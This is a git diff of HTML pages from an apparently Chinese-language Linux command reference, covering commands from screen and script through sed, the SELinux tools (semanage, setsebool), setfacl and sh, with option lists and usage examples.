    screen -S yourname -> 新建一个叫yourname的session
    -screen -ls -> 列出当前所有的session
    -screen -r yourname -> 回到yourname这个session
    -screen -d yourname -> 远程detach某个session
    -screen -d -r yourname -> 结束当前session并回到yourname这个session
    +
    screen -S yourname -> 新建一个叫yourname的session
    +screen -ls -> 列出当前所有的session
    +screen -r yourname -> 回到yourname这个session
    +screen -d yourname -> 远程detach某个session
    +screen -d -r yourname -> 结束当前session并回到yourname这个session
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -390,7 +390,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/script.html b/c/script.html index 50e4479eb9..297b970637 100644 --- a/c/script.html +++ b/c/script.html @@ -9,7 +9,7 @@ script 命令,Linux script 命令详解:记录终端会话的所有操作 - Linux 命令搜索引擎 - + @@ -122,19 +122,19 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a, --append              # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
    --c, --command command     # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
    +
    -a, --append              # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
    +-c, --command command     # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
                               # command 可以是任意能够在终端会话执行的命令
    --e, --return              # 返回子进程的退出状态码
    --f, --flush               # 每次终端的内容发生变动,立马写入日志文件
    ---force                   # 允许默认输出终端数据文件为符号链接
    +-e, --return              # 返回子进程的退出状态码
    +-f, --flush               # 每次终端的内容发生变动,立马写入日志文件
    +--force                   # 允许默认输出终端数据文件为符号链接
     -o, --output-limit size   # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程
                               # size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000)
                               # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB
    --q, --quiet               # 安静模式。启动和退出script命令不显示任何提示
    +-q, --quiet               # 安静模式。启动和退出script命令不显示任何提示
     -t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件
    --V, --version             # 显示版本信息并退出
    --h, --help                # 显示帮助文本并退出
    +-V, --version             # 显示版本信息并退出
    +-h, --help                # 显示帮助文本并退出
     
    实例
    script                             # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件
     script command.log                 # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
    -script -t 2>time.file command.log  # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
    +script -t 2>time.file command.log  # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
                                        # 在当前目录创建名称为 time.file 的文件来保存时间日志文件
     

    以追加模式记录终端信息

    -
    zfb@localhost:~$ script -t 2>time.file -a -f command.log
    +
    zfb@localhost:~$ script -t 2>time.file -a -f command.log
     Script started, file is command.log
     zfb@localhost:~$ echo "hello, world"
     hello, world
    @@ -172,7 +172,7 @@ script -t 2>time.file command.log  # 开启记录,在当前目录创建名称
     2020-12-23 20:48:46
     zfb@localhost:~$ echo "Bye"
     Bye
    -zfb@localhost:~$ ls -al
    +zfb@localhost:~$ ls -al
     total 20
     drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
     drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
    @@ -212,7 +212,7 @@ zfb@localhost:~$
     2020-12-23 20:48:46
     zfb@localhost:~$ echo "Bye"
     Bye
    -zfb@localhost:~$ ls -al
    +zfb@localhost:~$ ls -al
     total 20
     drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
     drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
    @@ -248,9 +248,9 @@ zfb@localhost:~$
     

    其中,只有命令cat command.log是用户输入,其他均为自动呈现。通过查看上面输出的时间2020-12-23 20:48:46,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把time.filecommand.log文件移动到任意一台机器上,都可以重现命令输入与终端回显。

    记录服务器用户会话操作

    root身份编辑文件/etc/profile,在文件末尾追加以下内容

    -
    if [ $UID -ge 0 ]
    +
    if [ $UID -ge 0 ]
     then
    -    exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
    +    exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
     fi
     

    然后再以root身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息

    -
    sudo mkdir -p /var/log/script-records/
    +
    sudo mkdir -p /var/log/script-records/
     sudo chmod 733 /var/log/script-records/
     

    最后,执行命令source /etc/profile即可。任意用户(UID ≥ 0)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。

    - - + + \ No newline at end of file diff --git a/c/scriptreplay.html b/c/scriptreplay.html index da0675bca8..2a494fb698 100644 --- a/c/scriptreplay.html +++ b/c/scriptreplay.html @@ -9,7 +9,7 @@ scriptreplay 命令,Linux scriptreplay 命令详解:重新播放终端会话的所有操作 - Linux 命令搜索引擎 - + @@ -122,14 +122,14 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -t, --timing file         # 记录时间日志的文件名称
    --s, --typescript file     # 记录终端数据信息的日志文件名称
    --d, --divisor number      # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number
    +
    -t, --timing file         # 记录时间日志的文件名称
    +-s, --typescript file     # 记录终端数据信息的日志文件名称
    +-d, --divisor number      # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number
                               # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍
    --m, --maxdelay number     # 表示命令之间的最大延迟时间(单位是秒)
    +-m, --maxdelay number     # 表示命令之间的最大延迟时间(单位是秒)
                               # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放
    --V, --version             # 显示版本信息并退出
    --h, --help                # 显示帮助文本并退出
    +-V, --version             # 显示版本信息并退出
    +-h, --help                # 显示帮助文本并退出
     
    # 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件 scriptreplay time.file command.log # 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒 -scriptreplay -d 1 -m 2 -t time.file -s command.log +scriptreplay -d 1 -m 2 -t time.file -s command.log

    记录终端内容到文件

    -
    zfb@localhost:~$ script -t 2>time.file -a -f command.log
    +
    zfb@localhost:~$ script -t 2>time.file -a -f command.log
     Script started, file is command.log
     zfb@localhost:~$ echo "hello, world"
     hello, world
    @@ -163,7 +163,7 @@ scriptreplay -d 1 -m 2 -t time.file -s command.log
     2020-12-23 20:48:46
     zfb@localhost:~$ echo "Bye"
     Bye
    -zfb@localhost:~$ ls -al
    +zfb@localhost:~$ ls -al
     total 20
     drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
     drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
    @@ -195,14 +195,14 @@ Script done, file is command.log
     zfb@localhost:~$
     " class="copied">

    重新播放终端内容

    -
    zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log
    +
    zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log
     zfb@localhost:~$ echo "hello, world"
     hello, world
     zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
     2020-12-23 20:48:46
     zfb@localhost:~$ echo "Bye"
     Bye
    -zfb@localhost:~$ ls -al
    +zfb@localhost:~$ ls -al
     total 20
     drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
     drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
    @@ -233,7 +233,7 @@ zfb@localhost:~$ exit
     zfb@localhost:~$
     " class="copied">

    其中,只有命令scriptreplay -d 1 -m 2 -t time.file -s command.log是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间2020-12-23 20:48:46,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把time.filecommand.log文件移动到任意一台支持scriptreplay命令的机器上,都可以动态重现命令输入与终端回显。

    - - + + \ No newline at end of file diff --git a/c/sed.html b/c/sed.html index d2e0e3c671..270a93c7a5 100644 --- a/c/sed.html +++ b/c/sed.html @@ -9,7 +9,7 @@ sed 命令,Linux sed 命令详解:功能强大的流式文本编辑器 - Linux 命令搜索引擎 - + @@ -120,7 +120,7 @@ customElements.define('markdown-style', MarkdownStyle);sed的选项、命令、替换标记

    命令格式

    sed [options] 'command' file(s)
    -sed [options] -f scriptfile file(s)
    +sed [options] -f scriptfile file(s)
     
    @@ -243,7 +243,7 @@ x\{m,n\} # 重复字符x,至少m次,不多于n次,如:/0\{5,10\}/匹配5

    -n选项p命令 一起使用表示只打印那些发生替换的行:

    sed -n 's/test/TEST/p' file

    直接编辑文件 选项-i ,会匹配file文件中每一行的所有book替换为books:

    -
    sed -i 's/book/books/g' file
    +
    sed -i 's/book/books/g' file
     

    全面替换标记g

    @@ -328,11 +328,11 @@ this is 7 in a number BBB aaa " class="copied">

    love被标记为1,所有loveable会被替换成lovers,并打印出来:

    -
    sed -n 's/\(love\)able/\1rs/p' file
    +
    sed -n 's/\(love\)able/\1rs/p' file
     

    通过替换获取ip:

    -
    ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/'
    +
    ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/'
     192.168.75.126
     

    选定行的范围:,(逗号)

    所有在模板test和check所确定的范围内的行都被打印:

    -
    sed -n '/test/,/check/p' file
    +
    sed -n '/test/,/check/p' file
     

    打印从第5行开始到第一个包含以test开始的行之间的所有行:

    -
    sed -n '5,/^test/p' file
    +
    sed -n '5,/^test/p' file
     

    对于模板test和west之间的行,每行的末尾用字符串aaa bbb替换:

    @@ -407,12 +407,12 @@ HELLO WORLD " class="copied">

    多点编辑:e命令

    -e选项允许在同一行里执行多条命令:

    -
    sed -e '1,5d' -e 's/test/check/' file
    +
    sed -e '1,5d' -e 's/test/check/' file
     

    上面sed表达式的第一条命令删除1至5行,第二条命令用check替换test。命令的执行顺序对结果有影响。如果两个命令都是替换命令,那么第一个替换命令将影响第二个替换命令的结果。

    和 -e 等价的命令是 --expression:

    -
    sed --expression='s/test/check/' --expression='/love/d' file
    +
    sed --expression='s/test/check/' --expression='/love/d' file
     

    从文件读入:r命令

    @@ -422,7 +422,7 @@ HELLO WORLD " class="copied">

    写入文件:w命令  

    在example中所有包含test的行都被写入file里:

    -
    sed -n '/test/w file' example
    +
    sed -n '/test/w file' example
     

    追加(行下):a\命令

    @@ -431,7 +431,7 @@ HELLO WORLD

    在 test.conf 文件第2行之后插入 this is a test line:

    -
    sed -i '2a\this is a test line' test.conf
    +
    sed -i '2a\this is a test line' test.conf
     

    插入(行上):i\命令

    @@ -440,7 +440,7 @@ HELLO WORLD

    在test.conf文件第5行之前插入this is a test line:

    -
    sed -i '5i\this is a test line' test.conf
    +
    sed -i '5i\this is a test line' test.conf
     

    替换指定行:c\命令

    @@ -517,42 +517,42 @@ ba 是如果没有到第六行就跳转到a继续循环 " class="copied">

    保持和获取:h命令和G命令

    在sed处理文件的时候,每一行都被保存在一个叫模式空间的临时缓冲区中,除非行被删除或者输出被取消,否则所有被处理的行都将 打印在屏幕上。接着模式空间被清空,并存入新的一行等待处理。

    -
    sed -e '/test/h' -e '$G' file
    +
    sed -e '/test/h' -e '$G' file
     

    在这个例子里,匹配test的行被找到后,将存入模式空间,h命令将其复制并存入一个称为保持缓存区的特殊缓冲区内。第二条语句的意思是,当到达最后一行后,G命令取出保持缓冲区的行,然后把它放回模式空间中,且追加到现在已经存在于模式空间中的行的末尾。在这个例子中就是追加到最后一行。简单来说,任何包含test的行都被复制并追加到该文件的末尾。

    保持和互换:h命令和x命令

    互换模式空间和保持缓冲区的内容。也就是把包含test与check的行互换:

    -
    sed -e '/test/h' -e '/check/x' file
    +
    sed -e '/test/h' -e '/check/x' file
     

    脚本scriptfile

    sed脚本是一个sed的命令清单,启动Sed时以-f选项引导脚本文件名。Sed对于脚本中输入的命令非常挑剔,在命令的末尾不能有任何空白或文本,如果在一行中有多个命令,要用分号分隔。以#开头的行为注释行,且不能跨行。

    -
    sed [options] -f scriptfile file(s)
    +
    sed [options] -f scriptfile file(s)
     

    打印奇数行或偶数行

    方法1:

    -
    sed -n 'p;n' test.txt  #奇数行
    -sed -n 'n;p' test.txt  #偶数行
    +
    sed -n 'p;n' test.txt  #奇数行
    +sed -n 'n;p' test.txt  #偶数行
     

    方法2:

    -
    sed -n '1~2p' test.txt  #奇数行
    -sed -n '2~2p' test.txt  #偶数行
    +
    sed -n '1~2p' test.txt  #奇数行
    +sed -n '2~2p' test.txt  #偶数行
     

    打印匹配字符串的下一行

    -
    grep -A 1 SCC URFILE
    -sed -n '/SCC/{n;p}' URFILE
    +
    grep -A 1 SCC URFILE
    +sed -n '/SCC/{n;p}' URFILE
     awk '/SCC/{getline; print}' URFILE
     
    - - + + \ No newline at end of file diff --git a/c/seinfo.html b/c/seinfo.html index 0a7815b63d..d6c3c224dd 100644 --- a/c/seinfo.html +++ b/c/seinfo.html @@ -9,7 +9,7 @@ seinfo 命令,Linux seinfo 命令详解:查询SELinux的策略提供多少相关规则 - Linux 命令搜索引擎 - + @@ -135,10 +135,10 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    列出与httpd有关的规则:

    -
    seinfo -b | grep httpd
    +
    seinfo -b | grep httpd
     
    - - + + \ No newline at end of file diff --git a/c/semanage.html b/c/semanage.html index e069382eb7..c5da48343b 100644 --- a/c/semanage.html +++ b/c/semanage.html @@ -9,7 +9,7 @@ semanage 命令,Linux semanage 命令详解:默认目录的安全上下文查询与修改 - Linux 命令搜索引擎 - + @@ -118,7 +118,7 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    semanage命令 是用来查询与修改SELinux默认目录的安全上下文。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

    语法

    -
    semanage {login|user|port|interface|fcontext|translation} -l
    +
    semanage {login|user|port|interface|fcontext|translation} -l
     semanage fcontext -{a|d|m} [-frst] file_spec
     

    实例

    查询一下/var/www/html的默认安全性本文的设置:

    -
    semanage fcontext -l
    +
    semanage fcontext -l
     SELinux fcontext    type          Context
     ....(前面省略)....
     /var/www(/.*)?      all files     system_u:object_r:httpd_sys_content_t:s0
    @@ -151,14 +151,14 @@ SELinux fcontext    type          Context
     

    如上面例子所示,我们可以查询的到每个目录的安全性本文!而目录的设定可以使用正则表达式去指定一个范围。那么如果我们想要增加某些自定义目录的安全性本文呢?举例来说,我想要色设置/srv/samba成为 public_content_t的类型时,应该如何设置呢?

    用semanage命令设置/srv/samba目录的默认安全性本文为public_content_t

    mkdir /srv/samba
    -ll -Zd /srv/samba
    +ll -Zd /srv/samba
     drwxr-xr-x  root root root:object_r:var_t    /srv/samba
     

    如上所示,默认的情况应该是var_t这个咚咚的!

    -
    semanage fcontext -l | grep '/srv'
    +
    semanage fcontext -l | grep '/srv'
     /srv/.*                     all files   system_u:object_r:var_t:s0
     /srv/([^/]*/)?ftp(/.*)?     all files   system_u:object_r:public_content_t:s0
     /srv/([^/]*/)?www(/.*)?     all files   system_u:object_r:httpd_sys_content_t:s0
    @@ -174,8 +174,8 @@ drwxr-xr-x  root root root:object_r:var_t    /srv/samba
     /srv                        directory   system_u:object_r:var_t:s0   //看这里!
     " class="copied">

    上面则是默认的/srv底下的安全性本文资料,不过,并没有指定到/srv/samba

    -
    semanage fcontext -a -t public_content_t "/srv/samba(/.*)?"
    -semanage fcontext -l | grep '/srv/samba'
    +
    semanage fcontext -a -t public_content_t "/srv/samba(/.*)?"
    +semanage fcontext -l | grep '/srv/samba'
     /srv/samba(/.*)?            all files   system_u:object_r:public_content_t:s0
     
    -
    restorecon -Rv /srv/samba* #尝试恢复默认值
    -ll -Zd /srv/samba
    +
    restorecon -Rv /srv/samba* #尝试恢复默认值
    +ll -Zd /srv/samba
     drwxr-xr-x  root root system_u:object_r:public_content_t /srv/samba/  #有默认值,以后用restorecon命令来修改比较简单!
     

    semanage命令的功能很多,这里主要用到的仅有fcontext这个选项的用法而已。如上所示,你可以使用semanage来查询所有的目录默认值,也能够使用它来增加默认值的设置!

    - - + + \ No newline at end of file diff --git a/c/sendmail.html b/c/sendmail.html index a24f34d054..cbf6339ef5 100644 --- a/c/sendmail.html +++ b/c/sendmail.html @@ -9,7 +9,7 @@ sendmail 命令,Linux sendmail 命令详解:著名电子邮件服务器 - Linux 命令搜索引擎 - + @@ -145,7 +145,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/seq.html b/c/seq.html index 03cc509444..ef9b84533c 100644 --- a/c/seq.html +++ b/c/seq.html @@ -9,7 +9,7 @@ seq 命令,Linux seq 命令详解:以指定增量从首数开始打印数字到尾数 - Linux 命令搜索引擎 - + @@ -126,8 +126,8 @@ seq [选项]... 首数 尾数 seq [选项]... 首数 增量 尾数 " class="copied">

    选项

    -
    -f, --format=格式        使用printf 样式的浮点格式
    --s, --separator=字符串   使用指定字符串分隔数字(默认使用:\n)
    +
    -f, --format=格式        使用printf 样式的浮点格式
    +-s, --separator=字符串   使用指定字符串分隔数字(默认使用:\n)
     -w, --equal-width        在列前添加0 使得宽度相同
     

    这样的话数字位数不足部分是0,%前面制定字符串。

    -w选项:指定输出数字同宽

    -
    seq -w 98 101
    +
    seq -w 98 101
     098
     099
     100
    @@ -177,17 +177,17 @@ str011
     str009 str010 str011
     " class="copied">

    要指定/t做为分隔符号:

    -
    seq -s"`echo -e "/t"`" 9 11
    +
    seq -s"`echo -e "/t"`" 9 11
     

    指定\n作为分隔符号:

    -
    seq -s"`echo -e "\n"`" 9 11
    +
    seq -s"`echo -e "\n"`" 9 11
     19293949596979899910911
     

    得到的是个错误结果,不过一般也没有这个必要,它默认的就是回车作为分隔符。

    - - + + \ No newline at end of file diff --git a/c/service.html b/c/service.html index 735ad75cc5..e664ad1a3d 100644 --- a/c/service.html +++ b/c/service.html @@ -9,7 +9,7 @@ service 命令,Linux service 命令详解:控制系统服务的实用工具 - Linux 命令搜索引擎 - + @@ -173,7 +173,7 @@ service mysqld restart 停止 MySQL: [ 确定 ] 启动 MySQL: [ 确定 ] " class="copied">
    - - + + \ No newline at end of file diff --git a/c/sesearch.html b/c/sesearch.html index 5855c69539..144f128353 100644 --- a/c/sesearch.html +++ b/c/sesearch.html @@ -9,7 +9,7 @@ sesearch 命令,Linux sesearch 命令详解:查询SELinux策略的规则详情 - Linux 命令搜索引擎 - + @@ -123,26 +123,26 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -a:列出该类型或布尔值的所有相关信息
    --t:后面还要接类型,例如 -t httpd_t
    --b:后面还要接布尔值的规则,例如 -b httpd_enable_ftp_server
    +-t:后面还要接类型,例如 -t httpd_t
    +-b:后面还要接布尔值的规则,例如 -b httpd_enable_ftp_server
     

    实例

    找出目标文件资源类型为httpd_sys_content_t的有关信息:

    -
    sesearch -a -t httpd_sys_content_t
    +
    sesearch -a -t httpd_sys_content_t
     

    找出主体进程为httpd_t且目标文件类型为httpd相关的所有信息:

    -
    sesearch -s httpd_t -t httpd_* -a
    +
    sesearch -s httpd_t -t httpd_* -a
     

    查看布尔值httpd_enable_homedirs设置了多少规则

    -
    sesearch -b httpd_enable_homedirs -a
    +
    sesearch -b httpd_enable_homedirs -a
     
    - - + + \ No newline at end of file diff --git a/c/set.html b/c/set.html index 4f2fee75d4..344d599f29 100644 --- a/c/set.html +++ b/c/set.html @@ -9,7 +9,7 @@ set 命令,Linux set 命令详解:显示或设置shell特性及shell变量 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);-e:若指令传回值不等于0,则立即退出shell。 -f:取消使用通配符。 -h:自动记录函数的所在位置。 --H Shell:可利用"!"<指令编号>的方式来执行history中记录的指令。 +-H Shell:可利用"!"<指令编号>的方式来执行history中记录的指令。 -k:指令所给的参数都会被视为此指令的环境变量。 -l:记录for循环的变量名称。 -m:使用监视模式。 @@ -167,7 +167,7 @@ customElements.define('markdown-style', MarkdownStyle);

    再使用set命令将新定义的变量输出为环境变量,输入如下命令:

    -
    set -a mylove                 #设置为环境变量
    +
    set -a mylove                 #设置为环境变量
     

    执行该命令后,将会新添加对应的环境变量。用户可以使用env命令和grep命令分别显示和搜索环境变量"mylove",输入命令如下:

    @@ -175,7 +175,7 @@ customElements.define('markdown-style', MarkdownStyle);

    此时,该命令执行后,将输出查询到的环境变量值。

    - - + + \ No newline at end of file diff --git a/c/setfacl.html b/c/setfacl.html index 46169193fd..65e4c5564b 100644 --- a/c/setfacl.html +++ b/c/setfacl.html @@ -9,7 +9,7 @@ setfacl 命令,Linux setfacl 命令详解:设置文件访问控制列表 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);-n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定。 --mask:重新计算有效权限,即使ACL mask被明确指定。 -d,--default:设定默认的acl规则。 ---restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。 +--restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。 --test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出。 -R,--recursive:递归的对所有文件及目录进行操作。 -L,--logical:跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。 @@ -404,11 +404,11 @@ other::r--

    mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的情况下会给出警告。

    需要注意的几点

    如果你的文件系统不支持ACL的话,你也许需要重新mount你的file system:

    -
    mount -o remount, acl [mount point]
    +
    mount -o remount, acl [mount point]
     

    如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变,反之改变ACL的值,相应的file permission也会改变。

    - - + + \ No newline at end of file diff --git a/c/setpci.html b/c/setpci.html index 07533c093e..c0a3460936 100644 --- a/c/setpci.html +++ b/c/setpci.html @@ -9,7 +9,7 @@ setpci 命令,Linux setpci 命令详解:查询和配置PCI设备的使用工具 - Linux 命令搜索引擎 - + @@ -159,7 +159,7 @@ customElements.define('markdown-style', MarkdownStyle);

    发现00:02.0是VGA设备,于是我们修改它的属性:

    -
    sudo setpci -s 00:02.0 F4.B=FF
    +
    sudo setpci -s 00:02.0 F4.B=FF
     

    解释一下:

    @@ -172,10 +172,10 @@ customElements.define('markdown-style', MarkdownStyle);=FF 要修改的值(可以改)。

    我这里00是最暗,FF是最亮,不同的电脑可能不一样。比如说我嫌FF太闪眼了,我就可以:

    -
    sudo setpci -s 00:02.0 F4.B=CC
    +
    sudo setpci -s 00:02.0 F4.B=CC
     
    - - + + \ No newline at end of file diff --git a/c/setsebool.html b/c/setsebool.html index caa64b2cf3..3ceb5649ac 100644 --- a/c/setsebool.html +++ b/c/setsebool.html @@ -9,7 +9,7 @@ setsebool 命令,Linux setsebool 命令详解:修改SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - + @@ -127,98 +127,98 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    允许vsftp匿名用户写入权限:

    -
    setsebool -P allow_ftpd_anon_write=1
    +
    setsebool -P allow_ftpd_anon_write=1
     

    如果你希望你的ftp用户可以访问自己的家目录的话,需要开启:

    -
    setsebool -P ftp_home_dir 1
    +
    setsebool -P ftp_home_dir 1
     

    如果你希望将vsftpd以daemon的方式运行的话,需要开启:

    -
    setsebool -P ftpd_is_daemon 1
    +
    setsebool -P ftpd_is_daemon 1
     

    你可以让SElinux停止保护vsftpd的daemon方式动行:

    -
    setsebool -P ftpd_disable_trans 1 
    +
    setsebool -P ftpd_disable_trans 1 
     

    HTTP被设置允许cgi的设置:

    -
    setsebool -P httpd_enable_cgi 1
    +
    setsebool -P httpd_enable_cgi 1
     

    允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

    -
    setsebool -P httpd_enable_homedirs 1
    -chcon -R -t httpd_sys_content_t ~user/public_html
    +
    setsebool -P httpd_enable_homedirs 1
    +chcon -R -t httpd_sys_content_t ~user/public_html
     

    允许httpd访问终端:

    -
    setsebool -P httpd_tty_comm 1
    +
    setsebool -P httpd_tty_comm 1
     

    关闭Selinux的关于httpd进程守护的保护:

    -
    setsebool -P httpd_disable_trans 1
    +
    setsebool -P httpd_disable_trans 1
     service httpd restart
     

    关于named、master更新selinux设定:

    -
    setsebool -P named_write_master_zones 1
    +
    setsebool -P named_write_master_zones 1
     

    关闭named的进程守护保护:

    -
    setsebool -P named_disable_trans 1
    +
    setsebool -P named_disable_trans 1
     service named restart
     

    Selinux将本机的NFS共享设置成只读:

    -
    setsebool -P nfs_export_all_ro 1
    +
    setsebool -P nfs_export_all_ro 1
     

    SElinux将本机的NFS共享设置成可读可写:

    -
    setsebool -P nfs_export_all_rw 1
    +
    setsebool -P nfs_export_all_rw 1
     

    如果你想要将远程NFS的家目录共享到本机,需要开启:

    -
    setsebool -P use_nfs_home_dirs 1
    +
    setsebool -P use_nfs_home_dirs 1
     

    如果samba服务器共享目录给多个域,则需要:

    -
    setsebool -P allow_smbd_anon_write=1
    +
    setsebool -P allow_smbd_anon_write=1
     

    samba服务器要共享家目录时:

    -
    setsebool -P samba_enable_home_dirs 1
    +
    setsebool -P samba_enable_home_dirs 1
     

    如果你需在本机上使用远程samba服务器的家目录:

    -
    setsebool -P use_samba_home_dirs 1
    +
    setsebool -P use_samba_home_dirs 1
     

    关闭selinux关于samba的进程守护的保护:

    -
    setsebool -P smbd_disable_trans 1
    +
    setsebool -P smbd_disable_trans 1
     service smb restart
     

    允许rsync其他用户写入时:

    -
    setsebool -P allow_rsync_anon_write=1
    +
    setsebool -P allow_rsync_anon_write=1
     

    停止rsync的进程保护

    -
    setsebool -P rsync_disable_trans 1
    +
    setsebool -P rsync_disable_trans 1
     

    允许系统使用kerberos:

    -
    setsebool -P allow_kerberos 1
    +
    setsebool -P allow_kerberos 1
     

    系统工作在nis环境时:

    -
    setsebool -P allow_ypbind 1
    +
    setsebool -P allow_ypbind 1
     
    - - + + \ No newline at end of file diff --git a/c/setsid.html b/c/setsid.html index 704d93d7c9..396ddcbd1b 100644 --- a/c/setsid.html +++ b/c/setsid.html @@ -9,7 +9,7 @@ setsid 命令,Linux setsid 命令详解:在新的会话中运行程序 - Linux 命令搜索引擎 - + @@ -122,9 +122,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c, --ctty   将控制终端设置为当前控制终端
    --f, --fork   总是 fork
    --w, --wait   等待程序退出,并使用相同的返回
    +
    -c, --ctty   将控制终端设置为当前控制终端
    +-f, --fork   总是 fork
    +-w, --wait   等待程序退出,并使用相同的返回
     
    - - + + \ No newline at end of file diff --git a/c/sftp-server.html b/c/sftp-server.html index 422be38e6d..688c885a15 100644 --- a/c/sftp-server.html +++ b/c/sftp-server.html @@ -9,7 +9,7 @@ sftp-server 命令,Linux sftp-server 命令详解:sftp协议的服务器端程序 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);sftp-server
    - - + + \ No newline at end of file diff --git a/c/sftp.html b/c/sftp.html index 949d00941e..3d58c6a458 100644 --- a/c/sftp.html +++ b/c/sftp.html @@ -9,7 +9,7 @@ sftp 命令,Linux sftp 命令详解:交互式的文件传输程序 - Linux 命令搜索引擎 - + @@ -162,7 +162,7 @@ Fetching /export/sftp/test.csv to /Users/my/Downloads/test.csv Uploading /Users/my/Downloads/re-produce.gif to /export/sftp/re-produce.gif /Users/my/Downloads/re-produce.gif 100% 257KB 86.6KB/s 00:02 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/sh.html b/c/sh.html index eafb2ca9a9..191ad54587 100644 --- a/c/sh.html +++ b/c/sh.html @@ -9,7 +9,7 @@ sh 命令,Linux sh 命令详解:shell命令解释器 - Linux 命令搜索引擎 - + @@ -122,7 +122,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c string:命令从-c后的字符串读取。
    +
    -c string:命令从-c后的字符串读取。
     -i:实现脚本交互。
     -n:进行shell脚本的语法检查。
     -x:实现shell脚本逐条语句的跟踪。
    @@ -139,27 +139,27 @@ customElements.define('markdown-style', MarkdownStyle);+ awk '/Failed/ {++ip[$(NF-3)]} END {for (i in ip) print i"="ip[i]}'
     ++ cat /root/satools/black.txt
     + for i in '`cat /root/satools/black.txt`'
    -++ echo 121.42.0.16=1427
    -++ awk -F= '{print $1}'
    +++ echo 121.42.0.16=1427
    +++ awk -F= '{print $1}'
     + IP=121.42.0.16
    -++ echo 121.42.0.16=1427
    -++ awk -F= '{print $2}'
    +++ echo 121.42.0.16=1427
    +++ awk -F= '{print $2}'
     + NUM=1427
    -+ '[' 1427 -gt 30 ']'
    ++ '[' 1427 -gt 30 ']'
     + grep 121.42.0.16 /etc/hosts.deny
    -+ '[' 1 -gt 0 ']'
    ++ '[' 1 -gt 0 ']'
     + echo sshd:121.42.0.16
     + echo vsftpd:121.42.0.16
     + for i in '`cat /root/satools/black.txt`'
    -++ echo 121.42.0.72=276
    -++ awk -F= '{print $1}'
    +++ echo 121.42.0.72=276
